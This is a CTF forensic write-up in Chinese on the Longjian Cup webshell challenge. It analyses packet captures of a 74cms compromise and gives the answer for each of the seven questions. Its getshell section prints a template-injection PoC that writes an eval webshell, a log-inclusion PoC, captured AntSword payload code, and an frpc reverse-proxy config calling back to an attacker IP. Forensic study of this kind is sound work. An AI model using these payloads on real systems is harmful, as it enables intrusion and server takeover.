• 全网最新最全首届“陇剑杯”网络安全大赛完整WIRTEUP --- webshell(7题)


    题目描述

    单位网站被黑客挂马,请您从流量中分析出webshell,进行回答:
     
    3.1   黑客登录系统使用的密码是_____________。
    wp:登录系统一般是使用的是post表单的方式,使用显示过滤器过滤post

     第一个包就是提交的密码

    或者直接搜索 password

    wp:

    Admin123!@#

    3.2  黑客修改了一个日志文件,文件的绝对路径为_____________。(请确认绝对路径后再提交)

     wp:

    绝对路径的话有两个部分组成,一个是网站根目录,另一个是相对路径

    导出HTTP对象,一个个找,在index(34).php%3fm=home&a=assign_resume_tpl文件中发现了含有phpinfo()页面的东西

    将其后缀变更为.html用浏览器打开,先查找网站根路径为/var/www/html

     

    在PHP变量中查找.log后缀的日志文件,路径为data/Runtime/Logs/Home/21_08_07.log,两个拼起来就是答案

     3.3  黑客获取webshell之后,权限是______?

     wp:

    说到权限,黑客可能会执行whoami命令,我们全局搜索whoami

    找到第317号数据请求包中包含 whoami命令,第319号响应包中包含结果

    flag:

    www-data

     3.4  黑客写入的webshell文件名是_____________。(请提交带有文件后缀的文件名,例如x.txt)

    wp:

    我们导出所有的http对象,分析后得知 1.php文件就是黑客挂的木马

    flag:

    1.php

    3.5  黑客上传的代理工具客户端名字是_____________。(如有字母请全部使用小写)

    wp:

    我们导出所有的http对象,分析后得知 1.php文件就是黑客挂的木马, 1(51).php就是查看上传后的木马文件目录,

     

     frpc就是袋里客户端

    flag:

    frpc

    3.6  黑客代理工具的回连服务端IP是_____________。

    wp:

    我们导出所有的http对象,分析后得知 1.php文件就是黑客挂的木马, 1(6).php就是上传的袋里配置文件

    该流量特征是蚁剑的数据流,数据放在hex中

    5B636F6D6D6F6E5D0A7365727665725F61646472203D203139322E3136382E3233392E3132330A7365727665725F706F7274203D20373737380A746F6B656E3D586133424A66326C35656E6D4E365A3741386D760A0A5B746573745F736F636B355D0A74797065203D207463700A72656D6F74655F706F7274203D383131310A706C7567696E203D20736F636B73350A706C7567696E5F75736572203D2030484446743136634C514A0A706C7567696E5F706173737764203D204A544E32373647700A7573655F656E6372797074696F6E203D20747275650A7573655F636F6D7072657373696F6E203D20747275650A

    用hex-》ascii解码后

    [common]
    server_addr = 192.168.239.123
    server_port = 7778
    token=Xa3BJf2l5enmN6Z7A8mv

    [test_sock5]
    type = tcp
    remote_port =8111
    plugin = socks5
    plugin_user = 0HDFt16cLQJ
    plugin_passwd = JTN276Gp
    use_encryption = true
    use_compression = true

    flag:

    192.168.239.123

    3.7  黑客的socks5的连接账号、密码是______。(中间使用#号隔开,例如admin#passwd)

    wp:

    在上个题目中已经解出,

    plugin_user = 0HDFt16cLQJ
    plugin_passwd = JTN276Gp

    flag:

    0HDFt16cLQJ#JTN276Gp

    题目打完了,但是黑客到底是如何getshell的还是不清楚。我们继续分析。该网站使用了骑士cms系统,网络搜索后发现该系统存在模板注入和 文件包含l漏洞,联合起来就能达到getshell

    参考链接  https://www.cnblogs.com/twlr/p/14142870.html

    注入点

      1、注入模板

    发送poc:
            http://127.0.0.1/74cms/upload/index.php?m=home&a=assign_resume_tpl
            POST:
            variable=1&tpl=<?php fputs(fopen("shell.php","w"),"<?php eval($_POST[x]);?>")?>; ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>

    2、文件包含

    发送poc:
            http://127.0.0.1/74cms/upload/index.php?m=home&a=assign_resume_tpl
            POST:
            variable=1&tpl=data/Runtime/Logs/Home/20_12_15.log(日志文件名为日期)

     知道了注入点,我们在数据包中搜索 assign_resume_tpl

     

    315号包就是模板注入,317就是文件包含,黑客注入了一句话木马。

    命令执行成功后会在下一个数据包的下图未知显示结果,whoami执行后返回www-data

    在332号将一句话木马写入1.php文件中,如下图所示

     然后利用木马文件,使用蚁剑客户端连接了服务器的漏洞,打开第337号包,蚁剑在连接传输的php代码片段就是蚁剑的特征,

     具体如下

    @ini_set("display_errors", "0");
    @set_time_limit(0);
    function asenc($out) {
    	return $out;
    }
    ;
    function asoutput() {
    	$output=ob_get_contents();
    	ob_end_clean();
    	echo "bc"."0f2";
    	echo @asenc($output);
    	echo "f797e"."322e0";
    }
    ob_start();
    try {
    	$D=dirname($_SERVER["SCRIPT_FILENAME"]);
    	if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
    	$R="{$D}	";
    	if(substr($D,0,1)!="/") {
    		foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";
    	} else {
    		$R.="/";
    	}
    	$R.="	";
    	$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
    	$s=($u)?$u["name"]:@get_current_user();
    	$R.=php_uname();
    	$R.="	{$s}";
    	echo $R;
    	;
    }
    catch(Exception $e) {
    	echo "ERROR://".$e->getMessage();
    }
    ;
    asoutput();
    die();

    第343号包中的内容

    <?php
    @ini_set("display_errors", "0");
    @set_time_limit(0);
    function asenc($out) {
    	return $out;
    }
    ;
    function asoutput() {
    	$output=ob_get_contents();
    	ob_end_clean();
    	echo "28"."f72";
    	echo @asenc($output);
    	echo "f486"."11f4";
    }
    ob_start();
    try {
    	$f=base64_decode(substr($_POST["j68071301598f"],2)); #post提交的j68071301598f的内容,也就是文件路径+名称,去掉前两位在base64解码,得到/var/www/html/frpc.ini,这里为什么要去除前两个字符,原因是防止base64解码,达到免杀或者混淆的目的
    	$c=$_POST["xa5d606e67883a"]; ##post提交的j68071301598f的内容,也就是文件内容。
    	$c=str_replace("
    ","",$c); #/r替换为空
    	$c=str_replace("
    ","",$c);#/n替换为空
    	$buf="";
    	for ($i=0;$i<strlen($c);$i+=2)$buf.=urldecode("%".substr($c,$i,2));#每两个字符去除两个
    	echo(@fwrite(fopen($f,"a"),$buf)?"1":"0"); #从buf写到/var/www/html/frpc.ini
    	;
    }
    catch(Exception $e) {
    	echo "ERROR://".$e->getMessage();
    }
    ;
    asoutput();
    die();
    
    
    
    Form item: "j68071301598f" = "FBL3Zhci93d3cvaHRtbC9mcnBjLmluaQ=="
    Form item: "xa5d606e67883a" = "5B636F6D6D6F6E5D0A7365727665725F61646472203D203139322E3136382E3233392E3132330A7365727665725F706F7274203D20373737380A746F6B656E3D586133424A66326C35656E6D4E365A3741386D760A0A5B746573745F736F636B355D0A7479706520
    

    目的就是往/var/www/html/frpc.ini写文件

     按照相同方法解码之后的数据包 

    分析得到 之后使用蚁剑上传两个文件,frpc和frpc.ini,这两个文件都是内网穿透工具

     最终文件有如图下所示

    我们在总结一下

    黑客使用密码登录了骑士cms系统到后台,利用模板注入和文件包含获取到了webshell,利用蚁剑连接webshell上传了两个袋里文件

  • 相关阅读:
    Zuul转发请求时HttpHostConnectException can't cast to ZuulException问题解决方法
    mysql循环插入千万级数据
    ssh登录原理及免密登录配置
    mysql binlog抽取某个表的数据
    ssh方式请求gitlab需要密码解决方法
    linux使用shell脚本停止java进程
    centos7安装docker-ce
    FutureTask详解
    Boolean.getBoolean用法
    mysql对emoji的支持
  • 原文地址:https://www.cnblogs.com/GKLBB/p/15303391.html
Copyright © 2020-2023  润新知